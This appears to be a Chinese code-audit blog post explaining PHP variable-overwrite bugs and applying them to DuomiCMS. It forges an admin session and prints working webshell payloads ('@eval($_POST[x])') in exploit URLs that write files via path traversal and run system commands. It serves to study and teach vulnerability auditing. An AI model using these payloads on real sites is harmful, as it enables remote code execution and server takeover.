代码审计-Duomi变量覆盖getshell
变量覆盖一些基础记录:
自定义的参数值替换原有变量值的情况称为变量覆盖漏洞
漏洞函数:
$$可变变量
extract()函数使用不当	
parse_str()函数使用不当
import_request_variables()使用不当
1.$$
一个可变变量获取了一个普通变量的值作为这个可变变量的变量名。

2..extract()变量覆盖
extract() 函数从数组中将变量导入到当前的符号表。
语法
extract(array,extract_rules,prefix)

3.parse_str()变量覆盖
parse_str() 函数把查询字符串解析到变量中。
语法
parse_str(string,array)**
参数 描述
string必需。 规定要解析的字符串。
array可选。 规定存储变量的数组名称。该参数指示变量存储到数组中。

4.import_request_variables()变量覆盖
import_request_variables—将 GET/POST/Cookie 变量导入到全局作用域中
import_request_variables()函数就是把GET、POST、COOKIE的参数注册成变量,用在register_globals被禁止的时候
2.语法
bool import_request_variables(string$types[,string$prefix] )
$type代表要注册的变量来源  ,G代表get , P代表post ,C代表cookie

php-security-calendar-2017变量覆盖例题

https://www.ripstech.com/php-security-calendar-2017/

Carrot 类的构造方法将超全局数组 $_GET 进行变量注册,这样即可覆盖 第8行 已定义的 $this-> 变量。而在 第16行 处的析构函数中, file_put_contents 函数的第一个参数又是由 $this-> 变量拼接的,
可以控制写入文件的位置,最终造成任意文件写入问题
http://127.0.0.1/2017_var_vul.php?id=../var/www/html/webshell.php&shell=',)%0a<?php @eval($_POST[x]);?>

DuomiCMS`变量覆盖实战
CMS中的全局变量注册代码 导致变量覆盖
duomiphp/common.php:

function _RunMagicQuotes(&$svar)
{
	if(!get_magic_quotes_gpc())
	{
		if( is_array($svar) )
		{
			foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
		}
		else
		{
			$svar = addslashes($svar);   //转义函数
		}
	}
	return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
	foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);   //用addslashes进行清洗
}
其中 _RunMagicQuotes 函数将特殊符号,使用 addslashes 函数进行转义处理
WWW\Duomicms\duomiphp\common.php:_RunMagicQuotes:

过滤规则:
duomiphp\webscan.php

利用文件\WWW\Duomicms\admin\admin_ping.php可写入webshell(需要admin权限 通过变量覆盖来伪造):

验证admin身份的代码:
\WWW\Duomicms\duomiphp\check.admin.php:

require_once($admincachefile);
class userLogin
{
	var $userName = '';
	var $userPwd = '';
	var $userID = '';
	var $adminDir = '';
	var $groupid = '';
	var $keepUserIDTag = "duomi_admin_id";
	var $keepgroupidTag = "duomi_group_id";
	var $keepUserNameTag = "duomi_admin_name";
	//php5构造函数
	function __construct($admindir='')
	{
		global $admin_path;
		if(isset($_SESSION[$this->keepUserIDTag]))
		{
			$this->userID = $_SESSION[$this->keepUserIDTag];
			$this->groupid = $_SESSION[$this->keepgroupidTag];
			$this->userName = $_SESSION[$this->keepUserNameTag];
		}
寻找使用session变量认证的地方 通过变量覆盖达到伪造admin身份 以至于使用admin_ping.php
中的文件写入代码 ,写入webshell
\Duomicms\member\share.php


gethshell:
http://127.0.0.1/Duomicms/admin/admin_ping.php?action=set
weburl=";@eval($_POST[x]);//&token=&x=system('dir');

------------------------------------------------------------------------------------

 
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号